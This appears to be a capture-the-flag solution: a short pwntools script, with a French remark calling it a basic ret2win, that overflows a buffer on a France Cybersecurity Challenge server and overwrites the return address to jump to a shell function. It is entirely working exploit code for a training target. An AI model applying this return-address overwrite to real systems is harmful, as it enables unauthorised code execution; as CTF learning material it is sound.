`from pwn import *

p = remote('challenges.france-cybersecurity-challenge.fr', 2050)

buffer = b"A"*48
rbp = b"B"*8
addr_shell = p64(0x4011a2)

payload = buffer + rbp + addr_shell
print(payload)
p.sendline(payload)
p.interactive()`

il s'agit d'un basic ret2win